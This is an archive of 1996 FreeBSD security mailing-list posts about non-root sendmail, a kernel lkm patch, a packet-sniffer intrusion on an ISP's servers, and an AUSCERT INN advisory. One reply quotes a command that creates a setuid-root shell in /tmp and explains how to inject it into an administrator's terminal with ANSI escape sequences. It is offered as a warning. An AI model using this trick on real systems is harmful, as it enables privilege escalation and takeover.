security-outgoing; Mon, 9 Dec 1996 16:50:39 -0800 (PST) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id QAA20060 for ; Mon, 9 Dec 1996 16:50:36 -0800 (PST) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.7.5/8.7.3) with UUCP id RAA01839; Mon, 9 Dec 1996 17:50:15 -0700 (MST) Received: from localhost (marcs@localhost) by alive.ampr.ab.ca (8.7.5/8.7.3) with SMTP id RAA16198; Mon, 9 Dec 1996 17:48:31 -0700 (MST) Date: Mon, 9 Dec 1996 17:48:30 -0700 (MST) From: Marc Slemko X-Sender: marcs@alive.ampr.ab.ca To: Cy Schubert - ITSD Open Systems Group cc: bmk@pobox.com, security@freebsd.org Subject: Re: Running sendmail non-suid In-Reply-To: <199612092111.NAA17991@passer.osg.gov.bc.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 9 Dec 1996, Cy Schubert - ITSD Open Systems Group wrote: > > I'm setting up an internet-connected mail hub, and I'd like to run > > sendmail not suid root. I won't be needing any ~/.forward nonsense, > > as this machine will have no users at all, and will only forward mail > > based on /etc/aliases. There will be no local mailboxes on this machine > > at all. > > > > My intention for running sendmail without suid set is so that I can > > hopefully avoid some of the security problems that we've seen with > > sendmail in the past. > > > > Ideally, what I'd like to do is have sendmail running as root only long > > enough to bind to the smtp port, and then give up root, never to have > > it back. Preferably, running as 'nobody' or some other 'safe' user. > > > > Has anyone actually done this? Any advice or gotchas to look out for? > > Am I insane for wanting to do this? You are very sane to want to do this. Everyone else is insane. And I'm serious about that. Someone should put together a document on making sendmail run as a non-root uid. Another thing I'm thinking of playing with sometime. If you want something smap like, without the licensing restrictions, you could look at smtpd from ftp://ftp.obtuse.com/pub/smtpd. > > First you will need to create an smtp account. > > Next, chown /var/spool/mqueue, /var/mail, and /usr/sbin/sendmail to user > smtp. > > Run a cronjob out of root's cron every 5 minutes to process the queue. You are missing something here WRT how to have sendmail bind to port 25. There are three likely ways; have it run as root long enough to bind in a similar fashion to most webservers, run it from inetd, or modify the kernel to let a particular non-root user bind to port 25. If you have sendmail running as a daemon using either the first or third methods, you don't need to run sendmail from cron. > > Using this approach you'll manage to stop 95% of any attempts to use > sendmail to gain access to root. There is still a possibility of gaining > root with this setup if your smtp account is hacked. It would be a matter > of creating a mail spool file to setup a setuid-root shell. The general > consensus has usually been that this approach is less secure because it is > easier to gain access to a user account than root. Consider that sendmail running as a non-root user can't just magically become root. It has to be setup so it can do so. Normally this is a possible problem because it runs as root so it can switch to whatever user it wants. However, in this case the whole point is that it isn't running as root. If you wish to allow users to do things such as run programs from .forward files, it needs to be able to switch uids to an arbitrary user somehow, by doing something like running as root, hacking the kernel or calling a sub-program which is setuid. However, in this case it has been stated that there is no local delivery so no special method has to be designed to allow for this. If a NFS host that you trust is compromised, you are in trouble anyway. On nearly all systems, there is at least one person who has a non-root account that they use to su to root. Compromise that account, and you can have root the next time they su. A little more hassle, but not that much. From owner-freebsd-security Mon Dec 9 17:32:46 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id RAA22435 for security-outgoing; Mon, 9 Dec 1996 17:32:46 -0800 (PST) Received: from irbs.irbs.com (jc@irbs.irbs.com [199.182.75.129]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id RAA22430 for ; Mon, 9 Dec 1996 17:32:43 -0800 (PST) Received: (from jc@localhost) by irbs.irbs.com (8.8.4/8.8.4) id UAA23752; Mon, 9 Dec 1996 20:32:32 -0500 (EST) Message-ID: Date: Mon, 9 Dec 1996 20:32:28 -0500 From: jc@irbs.com (John Capo) To: security@FreeBSD.ORG Subject: Re: Running sendmail non-suid References: <199612092111.NAA17991@passer.osg.gov.bc.ca> X-Mailer: Mutt 0.51 Mime-Version: 1.0 X-Organization: IRBS Engineering, (954) 792-9551 Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I use two copies of sendmail. The publicly executable is setuid "smtpd". A second copy is not setuid and is executed only by root at boot. I use RunAsUser=smtpd so sendmail run as smtpd after a connection is accepted. /var/spool/mqueue is owned by smtpd. The only gotcha is that user directories must be at least o+x so sendmail running as smtpd can read .forward files. John Capo From owner-freebsd-security Mon Dec 9 21:21:48 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id VAA12326 for security-outgoing; Mon, 9 Dec 1996 21:21:48 -0800 (PST) Received: from sunrise.gv.ssi1.com (root@sunrise.gv.ssi1.com [146.252.44.191]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id VAA12318 for ; Mon, 9 Dec 1996 21:21:45 -0800 (PST) Received: from salsa.gv.ssi1.com (salsa.gv.ssi1.com [146.252.44.194]) by sunrise.gv.ssi1.com (8.8.4/8.8.4) with ESMTP id VAA04522; Mon, 9 Dec 1996 21:21:41 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.ssi1.com (8.8.4/8.8.4) id VAA00670; Mon, 9 Dec 1996 21:21:40 -0800 (PST) From: Don Lewis Message-Id: <199612100521.VAA00670@salsa.gv.ssi1.com> Date: Mon, 9 Dec 1996 21:21:40 -0800 In-Reply-To: jc@irbs.com (John Capo) "Re: L0pht Advisory: modstat (fwd)" (Dec 9, 7:02pm) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: jc@irbs.com (John Capo), freebsd-security@FreeBSD.ORG Subject: Re: L0pht Advisory: modstat (fwd) Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Dec 9, 7:02pm, John Capo wrote: } Subject: Re: L0pht Advisory: modstat (fwd) } } Modstat does not need to be setgid kmem. Perhaps this is left over } from when groveled around in /dev/kmem. It looks to me like lkmcioctl() is somewhat inconsistent about the module name length, and isn't paranoid enough about NUL termination. The attach patch allows (MAXLKMNAME-1) characters in the name, not including the terminating NUL. Something else to be aware of is that if you load a module with a long enough name, you can't unload it by name. *** kern_lkm.c- Tue Oct 22 04:00:58 1996 --- kern_lkm.c Mon Dec 9 20:46:39 1996 *************** *** 383,389 **** * Copy name and lookup id from all loaded * modules. May fail. */ ! err =copyinstr(unloadp->name, istr, MAXLKMNAME-1, NULL); if (err) break; --- 383,389 ---- * Copy name and lookup id from all loaded * modules. May fail. */ ! err =copyinstr(unloadp->name, istr, MAXLKMNAME, NULL); if (err) break; *************** *** 436,441 **** --- 436,442 ---- * modules. */ copystr(statp->name, istr, MAXLKMNAME-1, NULL); + istr[MAXLKMNAME-1] = '\0'; /* * look up id... */ *************** *** 480,487 **** statp->ver = curp->private.lkm_any->lkm_ver; copystr(curp->private.lkm_any->lkm_name, statp->name, ! MAXLKMNAME - 2, NULL); break; --- 481,489 ---- statp->ver = curp->private.lkm_any->lkm_ver; copystr(curp->private.lkm_any->lkm_name, statp->name, ! MAXLKMNAME - 1, NULL); + statp->name[MAXLKMNAME-1] = '\0'; break; --- Truck From owner-freebsd-security Mon Dec 9 21:22:11 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id VAA12397 for security-outgoing; Mon, 9 Dec 1996 21:22:11 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id VAA12382 for ; Mon, 9 Dec 1996 21:22:07 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Tue, 10 Dec 1996 00:22:06 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id AAA20343 for ; Tue, 10 Dec 1996 00:18:51 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma020341; Tue Dec 10 00:18:46 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id AAA01667 for ; Tue, 10 Dec 1996 00:15:52 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Tue, 10 Dec 1996 00:15:52 -0500 (EST) From: Brian Tao To: FREEBSD-SECURITY-L Subject: URGENT: Packet sniffer found on my system Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I happened across an interesting little process today on a few of ous servers. It appears to be the "sniffit" packet sniffer found in the Linux RootKit. I can mail the binary to anyone who wants to analyse it. What it does is use bpf to log every connection between a pair of hosts and save all the good parts to a series of files. The guy running the sniffer logged well over 17000 connections today and god knows how many username/password combinations. He was watching the FTP and POP3 ports, mainly. I'd like to know how he was able to run the process as root. The binary is *not* setuid, and a "ps auxo ruser" shows the real owner is also root. The three servers I found it running on have 2.2-961014 installed, upgraded to sendmail 8.8.3. The two shell servers have had all but six setuid root binaries chmod 500'd. The Web/FTP server does not grant shell access. Is there something with Apache 1.1.1 or wu-ftpd I don't know about that allows a user to execute arbitrary code as root? I noticed lpr still had its setuid bit on the FTP server, but afaik, there is no way to tell wu-ftpd to run arbitrary programs as root. We are running wu-ftpd 2.4(1). Any ideas how root access was available so easily? -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Mon Dec 9 21:46:10 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id VAA15297 for security-outgoing; Mon, 9 Dec 1996 21:46:10 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id VAA15292 for ; Mon, 9 Dec 1996 21:46:07 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Tue, 10 Dec 1996 00:46:06 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id AAA20838 for ; Tue, 10 Dec 1996 00:42:51 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma020836; Tue Dec 10 00:42:34 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id AAA01798 for ; Tue, 10 Dec 1996 00:39:41 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Tue, 10 Dec 1996 00:39:41 -0500 (EST) From: Brian Tao To: FREEBSD-SECURITY-L Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, Brian Tao wrote: > > What it does is use bpf to log every connection between a pair of > hosts and save all the good parts to a series of files. The guy > running the sniffer logged well over 17000 connections today and god > knows how many username/password combinations. He was watching the > FTP and POP3 ports, mainly. Also the telnet ports to the shell servers... any tips for cleaning up the mess? Obviously the users should be told they need to change their passwords right away (now to think of a good way to let everyone know... :-/). -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Mon Dec 9 22:03:13 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id WAA16879 for security-outgoing; Mon, 9 Dec 1996 22:03:13 -0800 (PST) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id WAA16871 for ; Mon, 9 Dec 1996 22:03:11 -0800 (PST) Received: from Mailbox.mcs.com (Mailbox.mcs.com [192.160.127.87]) by Kitten.mcs.com (8.8.2/8.8.2) with ESMTP id AAA06914; Tue, 10 Dec 1996 00:02:23 -0600 (CST) Received: from Jupiter.Mcs.Net (karl@Jupiter.mcs.net [192.160.127.88]) by Mailbox.mcs.com (8.8.2/8.8.2) with ESMTP id AAA01281; Tue, 10 Dec 1996 00:02:22 -0600 (CST) Received: (from karl@localhost) by Jupiter.Mcs.Net (8.8.2/8.8.2) id AAA05680; Tue, 10 Dec 1996 00:02:21 -0600 (CST) From: Karl Denninger Message-Id: <199612100602.AAA05680@Jupiter.Mcs.Net> Subject: Re: URGENT: Packet sniffer found on my system To: taob@io.org (Brian Tao) Date: Tue, 10 Dec 1996 00:02:21 -0600 (CST) Cc: freebsd-security@FreeBSD.ORG In-Reply-To: from "Brian Tao" at Dec 10, 96 00:15:52 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I happened across an interesting little process today on a few of > ous servers. It appears to be the "sniffit" packet sniffer found in > the Linux RootKit. I can mail the binary to anyone who wants to > analyse it. Yuck. > I'd like to know how he was able to run the process as root. The > binary is *not* setuid, and a "ps auxo ruser" shows the real owner is > also root. The three servers I found it running on have 2.2-961014 > installed, upgraded to sendmail 8.8.3. The two shell servers have had > all but six setuid root binaries chmod 500'd. The Web/FTP server does > not grant shell access. Is there something with Apache 1.1.1 or > wu-ftpd I don't know about that allows a user to execute arbitrary > code as root? I noticed lpr still had its setuid bit on the FTP > server, but afaik, there is no way to tell wu-ftpd to run arbitrary > programs as root. We are running wu-ftpd 2.4(1). > > Any ideas how root access was available so easily? > -- > Brian Tao (BT300, taob@io.org, taob@ican.net) What program(s) are SUID on the machines in question? Do they trust any other hosts (.rhosts) for root access (ie: to run backups)? If so: Is your DNS secure (ie: do you run both primary and secondary for forward AND reverse on YOUR network, and were these machines compromised?) Current versions of FreeBSD check the .rhosts file for stupid things (like being world or group writeable). You can enhance this somewhat by refusing to honor any .rhosts that's not mode 400 (this is a fairly trivial change to the libraries and probably worth it). What is in /etc/inetd.conf that runs things as root? Anything listed as root in there may as well be SUID root; add them to the list of suspects. When did you upgrade to sendmail 8.8.3, and are you SURE that someone hadn't planted a "root shell" somewhere first? That particular exploit was so trivial to use that it would the first place I'd be suspicious of. (do you scan all writable disks, and any mounted remote without "nosuid", for SUID programs with "find -perm -4000 ...." or equivalent regularly? If so, how long ago was the last *successful* scan that showed no anomalies?) Are /dev/kmem and /dev/mem secure (640, root/kmem ownerships)? If you can write to /dev/kmem the game's over. Ditto for all physical disk devices and partitions for the same reason. Finally, a stupid one -- do you always run "mesg n" when signed in or SU'd as root? One of the oldest tricks in the book is to use ANSI sequences to send this: "cp /bin/sh /tmp/sh;chown root /tmp/sh;chmod 4711 /tmp/sh" Then send "up cursor" and "transmit line" (!) Cute, and it DOES work. If done properly you'll barely see it flash by before its erased on your tube (by the following "erase line" sequence) -- and you're SCREWED. The equivalent of this is a favorite on *ANY* OS if you can find someone stupid on a privileged terminal with an ANSI-style (ie: VT100) terminal. Its amazingly effective, which is why you need to be DAMN sure you always have write permission OFF whenever you're operating as an admin. Yes, even on the physical console. The problem with these kinds of compromises is finding out when the original violation took place. Without some kind of clue to this you're on a hunt for the cause of an event you don't well understand, which is not a good position to be in. Regular suid scans help; if you can nail down that an existing root utility was the culprit as of (x) date then you have a limited list of suspects. -- -- Karl Denninger (karl@MCS.Net)| MCSNet - The Finest Internet Connectivity http://www.mcs.net/~karl | T1's from $600 monthly to FULL DS-3 Service | 33 Analog Prefixes, 65 ISDN, Web servers $75/mo Voice: [+1 312 803-MCS1 x219]| Email to "info@mcs.net" WWW: http://www.mcs.net/ Fax: [+1 312 248-9865] | 2 FULL DS-3 Internet links; 400Mbps B/W Internal From owner-freebsd-security Mon Dec 9 22:18:26 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id WAA18303 for security-outgoing; Mon, 9 Dec 1996 22:18:26 -0800 (PST) Received: from nike.efn.org (metriclient-14.uoregon.edu [128.223.172.14]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id WAA18239 for ; Mon, 9 Dec 1996 22:17:45 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by nike.efn.org (8.8.3/8.8.3) with SMTP id WAA01389; Mon, 9 Dec 1996 22:16:30 -0800 (PST) Date: Mon, 9 Dec 1996 22:16:28 -0800 (PST) From: John-Mark Gurney X-Sender: jmg@nike Reply-To: John-Mark Gurney To: Brian Tao cc: FREEBSD-SECURITY-L Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, Brian Tao wrote: > On Tue, 10 Dec 1996, Brian Tao wrote: > > > > What it does is use bpf to log every connection between a pair of > > hosts and save all the good parts to a series of files. The guy > > running the sniffer logged well over 17000 connections today and god > > knows how many username/password combinations. He was watching the > > FTP and POP3 ports, mainly. > > Also the telnet ports to the shell servers... any tips for > cleaning up the mess? Obviously the users should be told they need to > change their passwords right away (now to think of a good way to let > everyone know... :-/). why not just have their passwords expire? then they have to change them :) hope it all works out... ttyl.. John-Mark gurney_j@efn.org http://resnet.uoregon.edu/~gurney_j/ Modem/FAX: (541) 683-6954 (FreeBSD Box) Live in Peace, destroy Micro$oft, support free software, run FreeBSD (unix) From owner-freebsd-security Mon Dec 9 22:39:16 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id WAA20109 for security-outgoing; Mon, 9 Dec 1996 22:39:16 -0800 (PST) Received: from sunrise.gv.ssi1.com (root@sunrise.gv.ssi1.com [146.252.44.191]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id WAA20104 for ; Mon, 9 Dec 1996 22:39:14 -0800 (PST) Received: from salsa.gv.ssi1.com (salsa.gv.ssi1.com [146.252.44.194]) by sunrise.gv.ssi1.com (8.8.4/8.8.4) with ESMTP id WAA05983; Mon, 9 Dec 1996 22:39:11 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.ssi1.com (8.8.4/8.8.4) id WAA00847; Mon, 9 Dec 1996 22:39:10 -0800 (PST) From: Don Lewis Message-Id: <199612100639.WAA00847@salsa.gv.ssi1.com> Date: Mon, 9 Dec 1996 22:39:10 -0800 In-Reply-To: Karl Denninger "Re: URGENT: Packet sniffer found on my system" (Dec 10, 12:02am) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Karl Denninger , taob@io.org (Brian Tao) Subject: Re: URGENT: Packet sniffer found on my system Cc: freebsd-security@freebsd.org Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Dec 10, 12:02am, Karl Denninger wrote: } Subject: Re: URGENT: Packet sniffer found on my system } > } > Any ideas how root access was available so easily? } > -- } > Brian Tao (BT300, taob@io.org, taob@ican.net) One very old trick is to plant something in root's crontab. } When did you upgrade to sendmail 8.8.3, and are you SURE that someone } hadn't planted a "root shell" somewhere first? That particular } exploit was so trivial to use that it would the first place I'd } be suspicious of. A trojan could have been planted in any of the binaries that root executes. As soon as root runs the program, it spawns a copy of the sniffer or open some other hole. You should do a comparsion of all the executables vs. those in a fresh copy of the distribution. Even the kernel could have been hacked to make it easy to get root access, though it would probably be less obvious to give bpf access to a non-root sniffer. --- Truck From owner-freebsd-security Mon Dec 9 23:04:42 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id XAA21639 for security-outgoing; Mon, 9 Dec 1996 23:04:42 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id XAA21630 for ; Mon, 9 Dec 1996 23:04:40 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Tue, 10 Dec 1996 02:04:38 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id CAA22202; Tue, 10 Dec 1996 02:01:23 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma022184; Tue Dec 10 02:00:56 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id BAA02308; Tue, 10 Dec 1996 01:58:03 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Tue, 10 Dec 1996 01:58:03 -0500 (EST) From: Brian Tao Reply-To: Brian Tao To: Karl Denninger cc: freebsd-security@FreeBSD.ORG Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: <199612100602.AAA05680@Jupiter.Mcs.Net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, Karl Denninger wrote: > > What program(s) are SUID on the machines in question? On the shell servers, not many. /usr/local/bin/ping is a modified ping binary that disallows the -f, -s and -l flags to non-root users: # find / -fstype ufs -perm -4000 -user root -ls 3848 256 -r-sr-xr-x 1 root bin 122880 Dec 2 12:24 /usr/local/bin/ping 4259 368 ---s--x--x 1 root bin 176128 Nov 5 23:11 /usr/local/bin/screen-3.7.1 4139 832 ---s--x--x 2 root bin 413696 Oct 17 02:21 /usr/local/bin/sperl5.003 4139 832 ---s--x--x 2 root bin 413696 Oct 17 02:21 /usr/local/bin/suidperl 4181 384 -r-s--x--x 1 root bin 188416 Oct 31 12:45 /usr/local/bin/ssh 7845 24 -r-sr-xr-x 1 root bin 12288 Oct 14 21:14 /usr/bin/lock 7880 32 -r-sr-xr-x 1 root bin 16384 Oct 14 21:15 /usr/bin/rlogin 7884 24 -r-sr-xr-x 1 root bin 12288 Oct 14 21:15 /usr/bin/rsh 7902 24 -r-sr-xr-x 1 root bin 12288 Oct 14 21:15 /usr/bin/su 7973 560 -r-sr-sr-x 5 root kmem 274432 Nov 17 13:54 /usr/bin/newaliases 7973 560 -r-sr-sr-x 5 root kmem 274432 Nov 17 13:54 /usr/bin/mailq 7973 560 -r-sr-sr-x 5 root kmem 274432 Nov 17 13:54 /usr/bin/hoststat 7973 560 -r-sr-sr-x 5 root kmem 274432 Nov 17 13:54 /usr/bin/purgestat 7973 560 -r-sr-sr-x 5 root kmem 274432 Nov 17 13:54 /usr/sbin/sendmail 8357 32 -r-sr-xr-x 1 root bin 16384 Oct 14 21:16 /usr/sbin/traceroute 61 368 -r-sr-xr-x 1 root bin 180224 Oct 14 21:09 /bin/rcp > Do they trust any other hosts (.rhosts) for root access (ie: to run backups)? No. > What is in /etc/inetd.conf that runs things as root? Anything listed > as root in there may as well be SUID root; add them to the list > of suspects. We run ident, login, ntalk, shell and telnet services out of inetd on the shell servers.. On the Web/FTP server, only ftpd is listed (shell access for authorized users is done through ssh). > When did you upgrade to sendmail 8.8.3, and are you SURE that someone > hadn't planted a "root shell" somewhere first? That particular > exploit was so trivial to use that it would the first place I'd > be suspicious of. (do you scan all writable disks, and any mounted > remote without "nosuid", for SUID programs with "find -perm -4000 > ...." or equivalent regularly? If so, how long ago was the last > *successful* scan that showed no anomalies?) No anomalous setuid binaries have been found. I look for any setuid/setgid executable not owned by a regular user. User root is the obvious case, but I'm sure someone could still do damage with a setuid bin or daemon executable. What's the executive summary with sendmail 8.8.4? It sounds like it fixes the same "kill -1" bug that was supposedly closed for 8.8.3? > Are /dev/kmem and /dev/mem secure (640, root/kmem ownerships)? If you can > write to /dev/kmem the game's over. All instances of those devices are mode 640, owned by root.kmem. > Finally, a stupid one -- do you always run "mesg n" when signed in or SU'd > as root? One of the oldest tricks in the book is to use ANSI > sequences to send this: > "cp /bin/sh /tmp/sh;chown root /tmp/sh;chmod 4711 /tmp/sh" > Then send "up cursor" and "transmit line" (!) Cute, and it DOES > work. If done properly you'll barely see it flash by before its > erased on your tube (by the following "erase line" sequence) -- > and you're SCREWED. I've heard of this with regard to using real VT-xxx terminals, but does xterm have the same weakness? Could someone test this, since I don't know what the escape sequence is. > The problem with these kinds of compromises is finding out when the > original violation took place. Without some kind of clue to this > you're on a hunt for the cause of an event you don't well understand, > which is not a good position to be in. I would say late night December 8, continuing throughout the day on December 9. This is based on the timestamp of the log files and of the binaries and related scripts. In addition to the log files, there was the packet sniffer itself (named 'b') and a perl script named 'apache' that simply exec'd ./b with the appropriate command line arguments to capture passing logins. > Regular suid scans help; if you can nail down that an existing root utility > was the culprit as of (x) date then you have a limited list of suspects. The account containing the log files and the sniffer has been deleted, but there's no telling what account the hacker will use next. If I'm lucky, I will have removed the data before he had a chance to retrieve it himself, but I doubt that would be the case (nearly a day has already passed since the first sniffing runs). I'm going to go through previous advisories to see if there is something I missed. I know I've nabbed sendmail pre-8.8..3, lpr, and older stuff that have been fixed for the 2.2-961014 snapshot. I hope this isn't something new that hasn't made it to the various lists yet... -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Mon Dec 9 23:05:53 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id XAA21772 for security-outgoing; Mon, 9 Dec 1996 23:05:53 -0800 (PST) Received: from precipice.shockwave.com (ppp-206-170-5-197.rdcy01.pacbell.net [206.170.5.197]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id XAA21767 for ; Mon, 9 Dec 1996 23:05:45 -0800 (PST) Received: from shockwave.com (localhost.shockwave.com [127.0.0.1]) by precipice.shockwave.com (8.8.4/8.7.3) with ESMTP id XAA00476 for ; Mon, 9 Dec 1996 23:05:42 -0800 (PST) Resent-Message-Id: <199612100705.XAA00476@precipice.shockwave.com> Delivery-Date: Mon, 09 Dec 1996 22:02:38 -0800 Received: from weychopee.shockwave.com (localhost.shockwave.com [127.0.0.1]) by precipice.shockwave.com (8.8.4/8.7.3) with SMTP id WAA02377 for ; Mon, 9 Dec 1996 22:02:36 -0800 (PST) Received: from weychopee for pst with Cubic Circle's cucipop (v1.10 1996/09/06) Mon Dec 9 22:02:45 1996 X-From_: owner-first-teams@lists.Stanford.EDU Mon Dec 9 20:18:41 1996 Received: (from uucp@localhost) by weychopee.shockwave.com (8.7.6/8.7.3) with UUCP id UAA08980 for pst@weychopee.shockwave.com; Mon, 9 Dec 1996 20:15:10 -0800 Received: from ns2.harborcom.net (root@ns2.harborcom.net [206.158.4.4]) by insecurity.shockwave.com (8.8.3/8.8.3) with ESMTP id UAA00811 for ; Mon, 9 Dec 1996 20:08:57 -0800 (PST) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.18]) by ns2.harborcom.net (8.8.3/8.8.3) with ESMTP id XAA15112 for ; Mon, 9 Dec 1996 23:08:48 -0500 (EST) Received: from lists.Stanford.EDU (lists.Stanford.EDU [36.190.0.65]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id UAA05573 for ; Mon, 9 Dec 1996 20:08:36 -0800 (PST) Received: (from daemon@localhost) by lists.Stanford.EDU (8.7.5/8.7.1) id UAA03743 for first-teams-outgoing; Mon, 9 Dec 1996 20:02:41 -0800 (PST) Received: from onyx.auscert.org.au (onyx0.auscert.org.au [203.5.112.10]) by lists.Stanford.EDU (8.7.5/8.7.1) with ESMTP id UAA03738 for ; Mon, 9 Dec 1996 20:02:32 -0800 (PST) Received: from amethyst.auscert.org.au (amethyst.auscert.org.au [203.5.112.218]) by onyx.auscert.org.au (8.8.4/8.8.4) with ESMTP id OAA05736 for ; Tue, 10 Dec 1996 14:02:30 +1000 (EST) Received: from localhost (localhost [127.0.0.1]) by amethyst.auscert.org.au (8.8.3/8.8.0) with SMTP id OAA13975; Tue, 10 Dec 1996 14:02:27 +1000 (EST) Message-Id: <199612100402.OAA13975@amethyst.auscert.org.au> X-Authentication-Warning: amethyst.auscert.org.au: localhost [127.0.0.1] didn't use HELO protocol Pgp-Action: none; rfc822=off From: auscert@auscert.org.au To: first-teams@first.org Subject: (PUBLIC RELEASE) AUSCERT Advisory AA-96.19 INN parsecontrol Vulnerability cc: auscert@auscert.org.au Organization: AUSCERT (Australian Computer Emergency Response Team) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 10 Dec 1996 14:02:26 +1000 Reply-To: auscert@auscert.org.au X-restrictions: DO NOT REDISTRIBUTE BEYOND FIRST MEMBERS UNLESS THE AUTHOR OF THIS MESSAGE GRANTS EXPRESS PERMISSION TO REDISTRIBUTE Resent-To: security@freebsd.org Resent-Date: Mon, 09 Dec 1996 23:05:42 -0800 Resent-From: Paul Traina Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- =========================================================================== AA-96.19 AUSCERT Advisory INN parsecontrol Vulnerability 10 December 1996 Last Revised: -- - --------------------------------------------------------------------------- AUSCERT has received information that a vulnerability exists in all versions of INN (InterNetNews) up to and including 1.5. This vulnerability allows intruders to execute arbitrary commands on the news server by sending a carefully crafted news control message. These commands will be executed using the privileges of the user configured to run the INN software (usually "news"). Information concerning this vulnerability has been widely released. - --------------------------------------------------------------------------- 1. Description All versions of INN (up to and including 1.5) contain a security vulnerability. This vulnerability allows remote users to execute arbitrary commands on the news server by sending it a carefully crafted news control message. These commands will be executed using the privileges of the user configured to run the INN software (usually "news"). This may be further leveraged to gain root access, depending on the configuration of the operating system and the INN software. As this is a vulnerability based upon the content of the news message, it is possible to attack news servers that are located behind firewalls and other boundary protection systems if the control message is passed through to the server. The version of INN running on the system can be determined by connecting to the nntp port (119) of the news server: % telnet localhost 119 200 a.b.c InterNetNews server INN 1.5 28-Nov-1996 ready Type "quit" to exit. 2. Impact Remote users may be able to execute arbitrary commands on the news server with the privileges of the user configured to run the 